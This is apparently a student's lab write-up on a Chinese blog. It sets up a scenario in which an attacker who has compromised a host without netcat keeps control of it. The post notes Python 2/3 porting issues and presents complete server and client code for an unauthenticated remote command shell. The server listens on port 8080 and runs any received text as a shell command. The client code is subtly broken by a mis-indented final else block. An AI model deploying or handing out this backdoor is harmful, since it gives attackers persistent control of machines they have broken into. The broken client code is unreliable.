編寫python後臺程式

URNOTJANET發表於2017-12-14

實驗場景

一名黑客入侵了一臺主機之後,希望維持對這臺主機的訪問,遺憾的是該主機並沒有安裝netcat,繼續發現該主機支援python2.7程式設計環境。這種情況下需要建立一個監聽端讓自己擁有控制命令列的操作許可權,來替代木馬和後門程式。

實驗要求

編寫一個python 2.7小程式,改程式可實現以下兩個功能:

  1. 作為服務端監聽埠,獲取來自客戶端的指令並執行,最後將執行結果返回給客戶端。
  2. 作為客戶端,向服務端的指定埠傳送命令,並將服務端的返回結果列印出來

備註:考慮到python2.7版本已經比較舊了,這裡我採用了python3版本程式設計,本質上沒有太大的區別,只是一些語法部分有出入。

實驗結果

本題與week2的socket程式設計實驗類似,都是使用python對兩個埠進行監聽。 依照題目要求實現兩個python程式,先執行server端進行監聽,再執行client端。對於client端的命令輸入,server端都可以監測得到。 Server端效果如圖

server端實時效果

程式碼見文末

實驗遇到的問題及解決方案

  1. python2.7 與 python3.6的某些細節部分定義不同。

    本次實驗我實現的是python3.6版本,因為一來python2.7沒有繼續學習的必要,二來命令列的預設路徑是python3而不是2。 但是在實現的時候由於路徑設定的一些問題還是遇到了python2/3之間的某些細節不同導致的報錯,具體問題如下

    1)raw_input() change to input()
    2)'print a ' is invalid,you should use print()
    3)'except Expection,e' change to 'except Expection as e'
    4)while using send() & sendall() have the same error: 
    a bytes-like object is required, not 'str'
        ————needs encode() and decode()
    5)windows不支援ls等命令,執行的時候會比較尷尬
複製程式碼
  1. python 中tab與空格混用導致的報錯

  2. 在實際Cygwin端下執行 ls 與 自己呼叫的程式執行的 ls 結果格式不同

    ——可優化部分:在捕獲到client的命令之後直接進行系統呼叫而不是以一塊塊buffer形式返回。

程式碼如下

Server端

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket, traceback, subprocess

host = ''
port = 8080

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(1)

while 1:
    try:
        client_socket, client_addr = s.accept()
    except Exception as e:
        traceback.print_exc()
        continue

    try:
        print("From host:", client_socket.getpeername())
        while 1:
            command = client_socket.recv(4096)
            if not len(command):
                break
            print(client_socket.getpeername()[0] + ':' + str(command))

            # 執行客戶端傳遞過來的命令
            print(command.decode()+"\n")
            handler = subprocess.Popen(command.decode(), shell=True, stdout=subprocess.PIPE)
            output = handler.stdout.readlines()
            if output is None:
                output = []

            for one_line in output:
                client_socket.sendall(one_line)
                client_socket.sendall("\n".encode('utf-8'))

            client_socket.sendall("ok\n".encode('utf-8'))


    except Exception as e:
        traceback.print_exc()

    try:
        client_socket.close()
    except Exception as e:
        traceback.print_exc()
複製程式碼

Client端

#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, sys, traceback
host = '127.0.0.1'
port = 8080

while 1:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((host, port))
	except Exception as e:
		msg = traceback.format_exc()
		print("Connect Error:"), msg
	input_command = input("Input Command:")
	#print(input_command)
	s.send(input_command.encode())
	
	s.shutdown(1)
	#print ("Send success!")
	while 1:
		buff = s.recv(4096)
		if not len(buff):
			break
		sys.stdout.write(buff.decode())
		
	answer = input("continue? Y/N ")
	if answer == 'N':
		break	
	if answer == 'Y':
		continue
    else:
        print("input error!")


複製程式碼

相關文章